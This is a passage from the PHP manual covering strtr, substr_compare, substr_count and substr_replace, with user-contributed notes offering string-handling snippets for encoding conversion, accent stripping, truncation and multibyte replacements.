    '\x8C'=>'&#x0152;', '\x8D'=>'?', '\x8E'=>'&#x017D;', '\x8F'=>'?',
    '\x90'=>'?', '\x91'=>'&#x2018;', '\x92'=>'&#x2019;', '\x93'=>'&#x201C;',
    '\x94'=>'&#x201D;', '\x95'=>'&#x2022;', '\x96'=>'&#x2013;', '\x97'=>'&#x2014;',
    '\x98'=>'&#x02DC;', '\x99'=>'&#x2122;', '\x9A'=>'&#x0161;', '\x9B'=>'&#x203A;',
    '\x9C'=>'&#x0153;', '\x9D'=>'?', '\x9E'=>'&#x017E;', '\x9F'=>'&#x0178;'
  );
$str = strtr($str, $badlatin1_cp1252_to_htmlent);
rortiz_reyes at hotmail dot com 26-Jan-2004 09:15
If you have trouble accessing a file which has an accented or tilde letter (á,é,í,ó,ú, or ñ) via Internet Explorer use the following translation table:

$trans = array("á" => "%E1", "é" => "%E9", "í" => "%ED", "ó" => "%F3","ú" => "%FA", "ñ" => "%D1",
"Á" => "%A1", "É" => "%A9", "Í" => "%AD", "Ó" => "%B3","Ú" => "%BA", "ñ" => "%F1");

To obtain the translation for other special characters not used in English (for example, ù), type a fictitious filename on the Netscape 7.1 address bar (including URL, for example www.url.com/ù.jpg) and press enter.  Netscape traslates the character while Explorer simply can't handle it.

Seems like another bug on Explorer 6.0...

Regards,

Ricardo Ortiz R.
j at pureftpd dot org 30-Nov-2003 08:24
Here's a very useful function to translate Microsoft characters into Latin 15, so that people won't see any more square instead of characters in web pages .

function demicrosoftize($str) {
    return strtr($str,
"\x82\x83\x84\x85\x86\x87\x89\x8a" .
"\x8b\x8c\x8e\x91\x92\x93\x94\x95" .
"\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
"'f\".**^\xa6<\xbc\xb4''" .
"\"\"---~ \xa8>\xbd\xb8\xbe");
}
Fernando "Malk" Piancastelli 29-Oct-2003 01:31
Here's a function to replace linebreaks to html <p> tags. This was initially designed to receive a typed text by a form in a "insert new notice" page and put in a database, then a "notice" page could get the text preformatted with paragraph tags instead of linebreaks that won't appear on browser. The function also removes repeated linebreaks the user may have typed in the form.

function break_to_tags(&$text) {

       // find and remove repeated linebreaks

       $double_break = array("\r\n\r\n" => "\r\n");
       do {
              $text = strtr($text, $double_break);
              $position = strpos($text, "\r\n\r\n");
       } while ($position !== false);

       // find and replace remanescent linebreaks by <p> tags

       $change = array("\r\n" => "<p>");
       $text = strtr($text, $change);
}

[]'s
Fernando
Sanate at seznam dot cz 17-Jul-2003 05:51
// Hello to all Czech and Slovak people!
// I hope this function can be useful and easier to find here,
// than at the original source (and opposite direction). :
//                  http://www.kosek.cz/clanky/tipy/qa07.html
// s pozdravem   Filip Rydlo  z Pohodasoftware.Cz

function latin2_to_win1250($text) {  // chce text v iso-88592
$text = StrTr($text, "\xA\xAB\xAE\xB\xBB\xBE",
                            "\x8A\x8D\x8E\x9A\x9D\x9E");
return $text;
}
mykel at has dot it 05-Feb-2003 06:08
strtr is a usefull encoding mechinism instead of using str_rot13. you can impliment it when you write usernames to a file, for example. but know that it is easy to crack your encription.
an example:
<?php
$unencripted = "hello";
$from = "abcdefghijklmnopqrstuvwxyz";
$to =    "zyxwvutsrqponmlkjihgfedcba";
$temp = strtr($unencripted, $from, $to);
/* will return svool */
?>
hotmail - marksteward 26-Nov-2002 07:39
Referring to note from 11 October 2000, Thorn (Þ, þ), Eth (Ð, ð), Esset (ß) and Mu (µ) aren't really accented letters.  Œ, œ, Æ, æ are ligatures.  Best to do the following:

function removeaccents($string){
 return strtr(
  strtr($string,
   'ŠŽšžŸÀÁÂÃÄÅÇÈÉÊËÌÍÎÏÑÒÓÔÕÖØÙÚÛÜÝàáâãäåçèéêëìíîïñòóôõöøùúûüýÿ',
   'SZszYAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy'),
  array('Þ' => 'TH', 'þ' => 'th', 'Ð' => 'DH', 'ð' => 'dh', 'ß' => 'ss',
   'Œ' => 'OE', 'œ' => 'oe', 'Æ' => 'AE', 'æ' => 'ae', 'µ' => 'u'));
}

This would be no good for sorting, as thorn and eth aren't actually found under th and dh.  Also especially redundant because of Unicode!  Still, I'm sure somone can find use for it - perhaps to constrict filenames...

Mark
m dot frank at beam dot ag 22-Nov-2002 05:12
to get the ascii equivalent of unicode characters simply use the

utf8_decode() function
marco dot colombo at nexor dot it 12-Nov-2002 06:20
Suppose you're trying to remove any character not in your set, i've found this very helpfull:

function my_remove($string, $my_set, $new=" ", $black="#")
{

  $first = strtr( $string, $my_set,
                    str_repeat($black, strlen($my_set)) );

  $second = strtr( $string, $first,
                    str_repeat($new, strlen($first)) );

  return $second;
};

NOTE that all non-wanted character will be replace with $new,
note also that $black must NOT to exist in $my_set.

Molok
bisqwit at iki dot fi 10-Aug-2002 10:18
#!/bin/sh
# This shell script generates a strtr() call
# to translate from a character set to another.
# Requires: gnu recode, perl, php commandline binary
#
# Usage:
#  Set set1 and set2 to whatever you prefer
#  (multibyte character sets are not supported)
#  and run the script. The script outputs
#  a strtr() php code for you to use.
#
# Example is set to generate a
# cp437..latin9 conversion code.
#
set1=cp437
set2=iso-8859-15
result="`echo '<? for($c=32;$c<256;$c++)'\
              'echo chr($c);'\
         |php -q|recode -f $set1..$set2`"
echo "// This php function call converts \$string in $set1 to $set2";
cat <<EOF  | php -q
<?php
\$set1='`echo -n "$result"\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$set2='`echo -n "$result"|recode -f $set2..$set1\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$erase=array();
\$l=strlen(\$set1);
for(\$c=0;\$c<\$l;++\$c)
  if(\$set1[\$c]==\$set2[\$c])\$erase[\$set1[\$c]]='';
if(count(\$erase))
{
  \$set1=strtr(\$set1,\$erase);
  \$set2=strtr(\$set2,\$erase);
}
if(!strlen(\$set1))echo 'IRREVERSIBLE';else
echo "strtr(\\\$string,\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set2),
     "',\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set1),
     "');";
EOF
gabi at unica dot edu 17-Jul-2002 05:32
To convert special chars to their html entities strtr you can use strtr in conjunction with get_html_translation_table(HTML_ENTITIES) :

$trans = get_html_translation_table(HTML_ENTITIES);
$html_code = strtr($html_code, $trans);

This will replace in $html_code the Á by &Aacute; , etc.
symlink23-remove-my-spleen at yahoo dot com 18-Apr-2002 09:33
As noted in the str_rot13 docs, some servers don't provide the str_rot13() function. However, the presence of strtr makes it easy to build your own facsimile thereof:

if (!function_exists('str_rot13')) {
    function str_rot13($str) {
        $from = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $to   = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';

        return strtr($str, $from, $to);
    }
}

This is suitable for very light "encryption" such as hiding email addressess from spambots (then unscrambling them in a mail class, for example).

$mail_to=str_rot13("$mail_to");
erik at eldata dot se 23-Nov-2001 09:08
As an alternative to the not-yet-existing function stritr mentioned in the first note above You can easily do this:

strtr("abc","ABCabc","xyzxyz")

or more general:

strtr("abc",
strtoupper($fromchars).strtolower($fromchars),
$tochars.$tochars);

Just a thought.
strtoupper
substr_compare
String Functions


Binary safe comparison of two strings from an offset, up to length characters

strtr
substr_count
String Functions
PHP Manual

substr_compare

(PHP 5)

substr_compare — Binary safe comparison of two strings from an offset, up to length characters

Description

int substr_compare ( string $main_str , string $str , int $offset [, int $length [, bool $case_insensitivity = false ]] )

substr_compare() compares main_str from position offset with str up to length characters.

Parameters

main_str

The main string being compared.

str

The secondary string being compared.

offset

The start position for the comparison. If negative, it starts counting from the end of the string.

length

The length of the comparison. The default value is the largest of the length of the str compared to the length of main_str less the offset.

case_insensitivity

If case_insensitivity is TRUE, comparison is case insensitive.

Return Values

Returns < 0 if main_str from position offset is less than str, > 0 if it is greater than str, and 0 if they are equal. If offset is equal to or greater than the length of main_str or length is set and is less than 1, substr_compare() prints a warning and returns FALSE.

Changelog

Version | Description
5.1.0 | Added the possibility to use a negative offset.

Examples

Example #1 A substr_compare() example

<?php
echo substr_compare("abcde", "bc", 1, 2); // 0
echo substr_compare("abcde", "de", -2, 2); // 0
echo substr_compare("abcde", "bcg", 1, 2); // 0
echo substr_compare("abcde", "BC", 1, 2, true); // 0
echo substr_compare("abcde", "bc", 1, 3); // 1
echo substr_compare("abcde", "cd", 1, 2); // -1
echo substr_compare("abcde", "abc", 5, 1); // warning
?>

User Contributed Notes

sleek 23-May-2005 05:07
Modified version of the original posted function. Use this one:

<?php
if (!function_exists('substr_compare')) {
    function substr_compare($main_str, $str, $offset, $length = NULL, $case_insensitivity = false) {
        $offset = (int) $offset;

        // Throw a warning because the offset is invalid
        if ($offset >= strlen($main_str)) {
            trigger_error('The start position cannot exceed initial string length.', E_USER_WARNING);
            return false;
        }

        // We are comparing the first n-characters of each string, so let's use the PHP function to do it
        if ($offset == 0 && is_int($length) && $case_insensitivity === true) {
            return strncasecmp($main_str, $str, $length);
        }

        // Get the substring that we are comparing
        if (is_int($length)) {
            $main_substr = substr($main_str, $offset, $length);
            $str_substr = substr($str, 0, $length);
        } else {
            $main_substr = substr($main_str, $offset);
            $str_substr = $str;
        }

        // Return a case-insensitive comparison of the two strings
        if ($case_insensitivity === true) {
            return strcasecmp($main_substr, $str_substr);
        }

        // Return a case-sensitive comparison of the two strings
        return strcmp($main_substr, $str_substr);
    }
}
?>
strtr
substr_count
String Functions


Count the number of substring occurrences

substr_compare
substr_replace
String Functions
PHP Manual

substr_count

(PHP 4, PHP 5)

substr_count — Count the number of substring occurrences

Description

int substr_count ( string $haystack , string $needle [, int $offset = 0 [, int $length ]] )

substr_count() returns the number of times the needle substring occurs in the haystack string. Please note that needle is case sensitive.

Note:

This function doesn't count overlapped substrings. See the example below!

Parameters

haystack

The string to search in

needle

The substring to search for

offset

The offset where to start counting

length

The maximum length after the specified offset to search for the substring. It outputs a warning if the offset plus the length is greater than the haystack length.

Return Values

This function returns an integer.

Changelog

Version | Description
5.1.0 | Added the offset and the length parameters

Examples

Example #1 A substr_count() example

<?php
$text = 'This is a test';
echo strlen($text); // 14

echo substr_count($text, 'is'); // 2

// the string is reduced to 's is a test', so it prints 1
echo substr_count($text, 'is', 3);

// the text is reduced to 's i', so it prints 0
echo substr_count($text, 'is', 3, 3);

// generates a warning because 5+10 > 14
echo substr_count($text, 'is', 5, 10);

// prints only 1, because it doesn't count overlapped substrings
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd');
?>

See Also

  • count_chars() - Return information about characters used in a string
  • strpos() - Find the position of the first occurrence of a substring in a string
  • substr() - Return part of a string
  • strstr() - Find the first occurrence of a string

User Contributed Notes

chrisstocktonaz at gmail dot com 26-Aug-2009 04:52
In regards to anyone thinking of using code contributed by zmindster at gmail dot com

Please take careful consideration of possible edge cases with that regex, in example:

$url = 'http://w3.host.tld/path/to/file/..../file.extension';
$url = 'http://w3.host.tld/path/to/file/../file.extension?malicous=....';

This would cause a infinite loop and for example be a possible entry point for a denial of service attack. A correct fix would require additional code, a quick hack would be just adding a additional check, without clarity or performance in mind:

...
$i = 0;
while (substr_count($url, '../') && ++$i < strlen($url))
...

-Chris
jrhodes at roket-enterprises dot com 18-Jun-2009 01:37
It was suggested to use

substr_count ( implode( $haystackArray ), $needle );

instead of the function described previously, however this has one flaw.  For example this array:

array (
  0 => "mystringth",
  1 => "atislong"
);

If you are counting "that", the implode version will return 1, but the function previously described will return 0.
zmindster at gmail dot com 23-Mar-2009 01:53
For some who seeked for an easy way to resolve URL composed of /../ like http://w3.host.tld/path/to/the/file/../../file.extension, here is a solution

<?php
$url = 'http://w3.host.tld/path/to/file/../file.extension';

while (substr_count($url, "../"))
{
    $url = preg_replace('#/[^/]+/\.\.#', '', $url);
}
//outputs 'http://w3.host.tld/path/to/file.extension'
?>

and seems to work perfectly!
gigi at phpmycoder dot com 12-Jan-2009 08:17
below was suggested a function for substr_count'ing an array, yet for a simpler procedure, use the following:

<?php
substr_count ( implode( $haystackArray ), $needle );
?>
Anonymous 11-Jul-2008 06:49
It should be noted that unlike the other substr functions, the offset value cannot be a negative value.

<?php
echo substr_count('abcdefg', 'efg', 4, 3); // 1
echo substr_count('abcdefg', 'efg', -3, 3); // warning
?>
danjr33 at gmail dot com 24-Jul-2007 06:37
I ran into trouble using this function when I moved a script from a server with PHP5 to a server with only PHP4.
As the last two parameters were added with 5.1.0, I wrote a substitute function:
<?php
function substr_count5($str,$search,$offset,$len) {
    return substr_count(substr($str,$offset,$len),$search);
}
?>
Use it exactly as substr_count() is used in PHP5. (This will work in PHP5 as well.)
info at fat-fish dot co dot il 05-May-2007 04:07
a simple version for an array needle (multiply sub-strings):
<?php

function substr_count_array( $haystack, $needle ) {
     $count = 0;
     foreach ($needle as $substring) {
          $count += substr_count( $haystack, $substring);
     }
     return $count;
}
?>
flobi at flobi dot com 25-Oct-2006 07:07
Making this case insensitive is easy for anyone who needs this.  Simply convert the haystack and the needle to the same case (upper or lower).

substr_count(strtoupper($haystack), strtoupper($needle))
XinfoX X at X XkarlX X-X XphilippX X dot X XdeX 21-Dec-2003 01:27
Yet another reference to the "cgcgcgcgcgcgc" example posted by "chris at pecoraro dot net":

Your request can be fulfilled with the Perl compatible regular expressions and their lookahead and lookbehind features.

The example

 $number_of_full_pattern = preg_match_all('/(cgc)/', "cgcgcgcgcgcgcg", $chunks);

works like the substr_count function. The variable $number_of_full_pattern has the value 3, because the default behavior of Perl compatible regular expressions is to consume the characters of the string subject that were matched by the (sub)pattern. That is, the pointer will be moved to the end of the matched substring.
But we can use the lookahead feature that disables the moving of the pointer:

 $number_of_full_pattern = preg_match_all('/(cg(?=c))/', "cgcgcgcgcgcgcg", $chunks);

In this case the variable $number_of_full_pattern has the value 6.
Firstly a string "cg" will be matched and the pointer will be moved to the end of this string. Then the regular expression looks ahead whether a 'c' can be matched. Despite of the occurence of the character 'c' the pointer is not moved.
substr_compare
substr_replace
String Functions


Replace text within a portion of a string

substr_count
substr
String Functions
PHP Manual

substr_replace

(PHP 4, PHP 5)

substr_replace — Replace text within a portion of a string

Description

mixed substr_replace ( mixed $string , mixed $replacement , mixed $start [, mixed $length ] )

substr_replace() replaces a copy of string delimited by the start and (optionally) length parameters with the string given in replacement.

Parameters

string

The input string.

An array of strings can be provided, in which case the replacements will occur on each string in turn. In this case, the replacement, start and length parameters may be provided either as scalar values to be applied to each input string in turn, or as arrays, in which case the corresponding array element will be used for each input string.

replacement

The replacement string.

start

If start is positive, the replacing will begin at the start'th offset into string.

If start is negative, the replacing will begin at the start'th character from the end of string.

length

If given and is positive, it represents the length of the portion of string which is to be replaced. If it is negative, it represents the number of characters from the end of string at which to stop replacing. If it is not given, then it will default to strlen( string ); i.e. end the replacing at the end of string. Of course, if length is zero then this function will have the effect of inserting replacement into string at the given start offset.

Return Values

The result string is returned. If string is an array then array is returned.

Changelog

Version | Description
4.3.3 | All parameters now accept arrays.

Examples

Example #1 Simple substr_replace() examples

<?php
$var = 'ABCDEFGH:/MNRPQR/';
echo "Original: $var<hr />\n";

/* These two examples replace all of $var with 'bob'. */
echo substr_replace($var, 'bob', 0) . "<br />\n";
echo substr_replace($var, 'bob', 0, strlen($var)) . "<br />\n";

/* Insert 'bob' right at the beginning of $var. */
echo substr_replace($var, 'bob', 0, 0) . "<br />\n";

/* These next two replace 'MNRPQR' in $var with 'bob'. */
echo substr_replace($var, 'bob', 10, -1) . "<br />\n";
echo substr_replace($var, 'bob', -7, -1) . "<br />\n";

/* Delete 'MNRPQR' from $var. */
echo substr_replace($var, '', 10, -1) . "<br />\n";
?>

Example #2 Using substr_replace() to replace multiple strings at once

<?php
$input = array('A: XXX', 'B: XXX', 'C: XXX');

// A simple case: replace XXX in each string with YYY.
echo implode('; ', substr_replace($input, 'YYY', 3, 3))."\n";

// A more complicated case where each replacement is different.
$replace = array('AAA', 'BBB', 'CCC');
echo implode('; ', substr_replace($input, $replace, 3, 3))."\n";

// Replace a different number of characters each time.
$length = array(1, 2, 3);
echo implode('; ', substr_replace($input, $replace, 3, $length))."\n";
?>

The above example will output:

A: YYY; B: YYY; C: YYY
A: AAA; B: BBB; C: CCC
A: AAAXX; B: BBBX; C: CCC

Notes

Note: This function is binary-safe.

See Also

  • str_replace() - Replace all occurrences of the search string with the replacement string
  • substr() - Return part of a string
  • String access and modification by character

User Contributed Notes

elloromtz at gmail dot com 17-Apr-2010 11:23
It's worth noting that when start and length are both negative -and- the length is less than or equal to start, the length will have the effect of being set as 0.

<?php
substr_replace('eggs','x',-1,-1); //eggxs
substr_replace('eggs','x',-1,-2); //eggxs
substr_replace('eggs','x',-1,-2); //eggxs
?>

Same as:
<?php
substr_replace('eggs','x',-1,0); //eggxs
?>

<?php
substr_replace('huevos','x',-2,-2); //huevxos
substr_replace('huevos','x',-2,-3); //huevxos
substr_replace('huevos','x',-2,-3); //huevxos
?>

Same as:
<?php
substr_replace('huevos','x',-2,0); //huevxos
?>

Another note, if length is negative and start offsets the same position as length, length (yet again) will have the effect as being set as 0. (Of course, as mentioned in the manual, when length is negative it actually represents the position before it)

<?php
substr_replace('abcd', 'x', 0, -4); //xabcd
?>

Same as:
<?php
substr_replace('abcd','x',0,0); //xabcd
?>

<?php
substr_replace('abcd', 'x', 1, -3); //axbcd
?>

Same as:
<?php
substr_replace('abcd', 'x', 1, 0); //axbcd
?>
den dot gierling at web dot de 19-Feb-2010 10:32
My problem was that substr_replace() always added $replacement, so i wrote my own function.
This function only adds $replacement, if substr() took action.
The parameter $length is optional - like substr()'s.
Or I was too stupid using $start and $length...

<?php
function substr_replace_provided($string,$replacement,$start,$length=NULL)
{
    $tmp=substr($string,$start,$length);
    if($string!==$tmp) {
        $string = $tmp.$replacement;
    }
    return $string;
}
?>
kalim dot fleet at gmail dot com 10-Oct-2009 09:49
This will truncate a longer string to a smaller string of specified length while replacing the middle portion with a separator exactly in the middle.

<?php

$longString = 'abcdefghijklmnopqrstuvwxyz0123456789z.jpg';
$separator = '/.../';
$separatorlength = strlen($separator) ;
$maxlength = 25 - $separatorlength;
$start = $maxlength / 2 ;
$trunc =  strlen($longString) - $maxlength;

echo substr_replace($longString, $separator, $start, $trunc);

//prints "abcdefghij/.../56789z.jpg"

?>
admiral at nuclearpixel dot com 06-Oct-2009 11:54
Hey everyone, I was noticing that there are a lot of ways below that people are using to write their own string truncation functions, but it kinda seemed like a lot of them went a bit too far out to make any sense to a n00b. Not that I am one anymore, but I though I'd add a note on this topic myself, in hopes that it might help others understand things a little better.

Here's a concept that some people don't know about, or remember to use often enough; You can actually pull individual characters out of a string by referencing that string as though it were an array. Example: If I have the string $s = 'cat', I can use $s[0] to actually get out only the first character of that string, 'c'. I use that same principle below, but I just use a loop to iterate through a string and add the characters to the output variable one by one until the $lenth param has been reached, or until the end of the string.

I hope this can help someone out!

-Admiral Potato

<?php

function admiralsTruncate($string, $length){
    settype($string, 'string');
    settype($length, 'integer');
    for($a = 0; $a < $length AND $a < strlen($string); $a++){
        $output .= $string[$a];
    }
    return($output);
}

$my_string = 'cfcd208495d565ef66e7dff9f98764da';

echo admiralsTruncate($my_string, 6);    // outputs: cfcd20

echo '<br>';

echo admiralsTruncate($my_string, 9);    // outputs: cfcd20849

?>
gcdreak at farfaraway dot com 14-Apr-2009 07:56
This is a good method to check file chmod value:
<?php

$file = "../files/sample.txt";
$rights = decoct(fileperms($file));
echo "File rights: ".substr_replace($rights, "", 0, 3);

?>
billg AT microsoft.com 07-Apr-2009 07:31
Forget all of the mb_substr_replace() implementations mentioned in this page, they're all buggy.

Here is a version that mimics the behavior of substr_replace() exactly:

<?php

if (function_exists('mb_substr_replace') === false)
{
    function mb_substr_replace($string, $replacement, $start, $length = null, $encoding = null)
    {
        if (extension_loaded('mbstring') === true)
        {
            $string_length = (is_null($encoding) === true) ? mb_strlen($string) : mb_strlen($string, $encoding);

            if ($start < 0)
            {
                $start = max(0, $string_length + $start);
            }

            else if ($start > $string_length)
            {
                $start = $string_length;
            }

            if ($length < 0)
            {
                $length = max(0, $string_length - $start + $length);
            }

            else if ((is_null($length) === true) || ($length > $string_length))
            {
                $length = $string_length;
            }

            if (($start + $length) > $string_length)
            {
                $length = $string_length - $start;
            }

            if (is_null($encoding) === true)
            {
                return mb_substr($string, 0, $start) . $replacement . mb_substr($string, $start + $length, $string_length - $start - $length);
            }

            return mb_substr($string, 0, $start, $encoding) . $replacement . mb_substr($string, $start + $length, $string_length - $start - $length, $encoding);
        }

        return (is_null($length) === true) ? substr_replace($string, $replacement, $start) : substr_replace($string, $replacement, $start, $length);
    }
}

?>
juichenieder-phnet at yahoo dot co dot uk 25-Mar-2009 10:58
I've just taken a look at the post by ntoniazzi and I have a very small correction to make.

In the second if statement, it should be a triple equals, so:

<?php if ($length === null) ?>

It requires the triple equals, for the case of pure insertion, where $length = 0, the double equals, will catch this, causing the string to be cut short.  I hope this helps someone.
NiX0n at fragfest dot cx 09-Oct-2008 09:41
The preemptive test to see if $string is "too long" shouldn't add strlen($replacement) to $max.  $max should represent the absolute maximum length of string returned.  The size of the $replacement is irrelevant in that determination.

The rest of the function (unchanged below) operates as defined above.  Meaning, the size of the $replacement is subtracted from the $max, so that the returned string is exactly the length of $max.

<?php
function truncate($string, $max = 20, $replacement = '')
{
    if (strlen($string) <= $max)
    {
        return $string;
    }
    $leave = $max - strlen ($replacement);
    return substr_replace($string, $replacement, $leave);
}
?>
spcl dot delivery at gmail dot com 27-Jul-2008 04:14
the version of my predecessor will add $rep even if the string is shorter than max. fixed version:

<?php
function truncate($string, $max = 20, $rep = '')
{
    if (strlen($string) <= ($max + strlen($rep)))
    {
        return $string;
    }
    $leave = $max - strlen ($rep);
    return substr_replace($string, $rep, $leave);
}
?>

To preserve the filename extension you can call it like this:

truncate([filename], 30, '...' . end(explode('.', [filename])))
eblejr AT phrebh DOT com 04-Jun-2008 08:42
PHP version of Java's removeCharAt() function:

<?php
function removeCharAt($str, $int){
  return substr_replace($str,"",$int,1);
}
?>
William Barry 23-Apr-2008 12:18
I recently ran across a situation where I need to strip a heavily nested html list such that only the top level was preserved.  I started with a regular expression solution, but found that I kept matching the wrong closing ul with an outer opening ul.

This was my alternative solution, and it seems to work well:

<?php

function stripNestedLists($str)
{
    $str2 = $str;
    $lastStr = $str2;

    do
    {
        // Find the first closing ul
        $cul = strpos($str2, '</ul>');
        $ul = 0;
        $lastUL = 0;
        do
        {
            // Find the next opening ul
            $lastUL = $ul;
            $ul = strpos($str2, '<ul', $ul+1);
        }
        while ($ul !== false && $ul < $cul);

        $lastStr = $str2;
        $str2 = substr_replace($str2, '', $lastUL, $cul-$lastUL+5);
        $str2 = trim($str2);
    }
    while (strlen($str2) > 0);

    return $lastStr;
}

?>

Hope this helps someone.
jaimthorn at yahoo dot com 25-Mar-2008 10:53
I recently needed a routine that would remove the characters in one string from another, like the regex

<?php
   $result = preg_replace("/[$chars]/", "", $string);
?>

and I needed it to be fast, and accept pretty much all input.  The regex above won't work when strlen($chars) == 0.  I came up with this, admittedly pretty horrible-looking code, that is quite fast:

<?php

function RemoveChars($string, $chars)
{
    return isset($chars{0}) ? str_replace($chars{0}, "", strtr($string, $chars, str_pad($chars{0}, strlen($chars), $chars{0}))) : $string;
}

?>

According to my own measurements, the regex in ONLY faster for when strlen($chars) == 1; for longer strings, my routine is faster.  What does it do?  Let's say you want to remove the period, the comma and the exclamation mark from a string, like so:
$result = RemoveChars("Isn't this, like, totally neat..!?", ".?!");
The str_pad function creates a string equal in length to the string that contains the character to be removed, but consisting only of the first character of that string:
The input is ".,!"
The output is "..."
The strtr function translates all characters in the string-to-be-processed ("Isn't this...") that also occur in the input (".,!") to the characters in the same position in the output ("...").  In other words:
Isn't this, like, totally neat..!?
becomes
Isn't this. like. totally neat....
Finally, the first character from the input (".,!") which happens to be, again, the period, is removed from that string by the str_replace call:
Isn't this like totally neat?
The function needs to check is $chars has at least one character, or else the str_pad function will fail.  If it's empty, then the unprocessed string is returned.
ntoniazzi at sqli dot com 14-Feb-2008 01:07
Almost... In the previous note, change this :
<?php
    function mb_substr_replace($string, $replacement, $start, $length=null, $encoding=null) {
        if ($encoding == null) $encoding = mb_internal_encoding();
        if($start < 0) $start = mb_strlen($string) + $start;
    [...]
?>
ntoniazzi at sqli dot com 13-Feb-2008 09:58
There is a mistake in the mb_substr_replace function below, when the $length parameter is given negative. Here is a working version.

<?php
//Check to see if it exists in case PHP has this function later
if (!function_exists("mb_substr_replace")){
    //Same parameters as substr_replace with the extra encoding parameter.
    function mb_substr_replace($string, $replacement, $start, $length=null, $encoding=null) {
        if ($encoding == null) $encoding = mb_internal_encoding();
        if ($length == null) {
            return mb_substr($string, 0, $start, $encoding) . $replacement;
        }
        else {
            if($length < 0) $length = mb_strlen($string, $encoding) - $start + $length;
            return
                mb_substr($string, 0, $start, $encoding) .
                $replacement .
                mb_substr($string, $start + $length, mb_strlen($string, $encoding), $encoding);
        }
    }
}
?>
alishahnovin at hotmail dot com 07-Aug-2007 12:56
I like the truncate function below...however, I found a few issues. Particularly if you have content that may have any kind of punctuation in it (?, !, ?!?, --, ..., .., ;, etc.)

The older function would end up looking like "blah blah?..." or "blah blah,..." which doesn't look so nice to me...

Here's my fix. It removes all trailing punctuation (that you include in the $punctuation string below) and then adds an ellipse. So even if it has an ellipse with 3 dots, 2 dots, 4 dots, it'll be removed, then re-added.

<?php
function truncate($text,$numb,$etc = "...") {
$text = html_entity_decode($text, ENT_QUOTES);
if (strlen($text) > $numb) {
$text = substr($text, 0, $numb);
$text = substr($text,0,strrpos($text," "));

$punctuation = ".!?:;,-"; //punctuation you want removed

$text = (strspn(strrev($text),  $punctuation)!=0)
        ?
        substr($text, 0, -strspn(strrev($text),  $punctuation))
        :
$text;

$text = $text.$etc;
}
$text = htmlentities($text, ENT_QUOTES);
return $text;
}
?>

I also needed a sort of "middle" truncate. The above function truncates around the end, but if you want to truncate around the middle (ie "Hello this is a long string." --> "Hello this ... long string.") you can use this (requires the truncate function):

<?php
function mtruncate($text, $numb, $etc = " ... ") {
    $first_part = truncate(truncate($text, strlen($text)/2, ""), $numb/2, "");
    $second_part = truncate(strrev(truncate(strrev($text), strlen($text)/2, "")), $numb/2, "");
    return $first_part.$etc.$second_part;
}
?>
joecorcoran at gmail dot com 07-Aug-2007 06:50
I've made a minor amendment to the function in the post below, to strip away the full stop (period) if the truncation occurs at the exact end of a sentence (the full stop spoils the ellipsis):

<?php

function truncate($text,$numb) {
$text = html_entity_decode($text, ENT_QUOTES);
if (strlen($text) > $numb) {
$text = substr($text, 0, $numb);
$text = substr($text,0,strrpos($text," "));
    //This strips the full stop:
    if ((substr($text, -1)) == ".") {
        $text = substr($text,0,(strrpos($text,".")));
    }
$etc = "...";
$text = $text.$etc;
}
$text = htmlentities($text, ENT_QUOTES);
return $text;
}

//Call function
truncate($text, 75);
www.kigoobe.com 21-Mar-2007 02:00
The two truncate functions provided below, have some major short comings.

1. They may cut a word in half
2. In case you are using htmlentities to get user input or are using wysiwyg editors to get user input, you can get truncated text like "he told C&eac..." instead of "he told Cécile" or "he told".

Here is what I use -

<?php
function truncate($text,$numb) {
// source: www.kigoobe.com, please keep this if you are using the function
$text = html_entity_decode($text, ENT_QUOTES);
if (strlen($text) > $numb) {
$text = substr($text, 0, $numb);
$text = substr($text,0,strrpos($text," "));
$etc = " ...";
$text = $text.$etc;
}
$text = htmlentities($text, ENT_QUOTES);
return $text;
}

// Now, to use this function, you can call that as -
truncate($text, 75);
?>
chuayw2000 at hotmail dot com 09-Dec-2005 03:33
I don't know if this function is multibyte safe but I've written a function that will do the same in multibyte mode.

<?php
//Check to see if it exists in case PHP has this function later
if (!function_exists("mb_substr_replace")){
   //Same parameters as substr_replace with the extra encoding parameter.
    function mb_substr_replace($string,$replacement,$start,$length=null,$encoding = null){
        if ($encoding == null){
            if ($length == null){
                return mb_substr($string,0,$start).$replacement;
            }
            else{
                return mb_substr($string,0,$start).$replacement.mb_substr($string,$start + $length);
            }
        }
        else{
            if ($length == null){
                return mb_substr($string,0,$start,$encoding).$replacement;
            }
            else{
                return mb_substr($string,0,$start,$encoding). $replacement. mb_substr($string,$start + $length,mb_strlen($string,$encoding),$encoding);
            }
        }
    }
}
?>
michael(at)webstaa(dot)com 05-Dec-2005 08:47
I created this because of the need to mask a credit-card number like **** **** **** 8862

string mask ( string str, int start [, int length] )

mask() masks a copy of str delimited by the start and (optionally) length parameters with asterisks (*) in place of non-whitespace characters

<?php
    function mask ( $str, $start = 0, $length = null ) {
        $mask = preg_replace ( "/\S/", "*", $str );
        if ( is_null ( $length )) {
            $mask = substr ( $mask, $start );
            $str = substr_replace ( $str, $mask, $start );
        } else {
            $mask = substr ( $mask, $start, $length );
            $str = substr_replace ( $str, $mask, $start, $length );
        }
        return $str;
    }
?>
hermes at andycostell dot com 27-Aug-2005 11:48
I suggest changing the function suggested by Guru Evi slightly. I found that it doesn't work as written here.

Original:
function add_3dots($string,$repl,$start,$limit) {
   if(strlen($string) > $limit) {
       return substr_replace(strip_tags($string),$repl,$start,$limit);
   } else {
       return $string;
   };
};

I suggest:
function add_3dots($string,$repl,$limit) {
       if(strlen($string) > $limit) {
           return substr_replace(strip_tags($string),$repl,$limit-strlen($repl));
       } else {
           return $string;
       }
    }

Usage:

$max_length=10;//the max number of characters you want to display
$too_long_string="BLAH BLAH BLAH BLAH BLAH etc.";//the string you want to shorten (if it's longer than the $limit)
$shorter_string=add_3_dots($too_long_string,"...",$max_length);
Guru Evi 13-Jul-2005 12:44
If your string is not long enough to meet what you specify in start and length then the replacement string is added towards the end of the string.

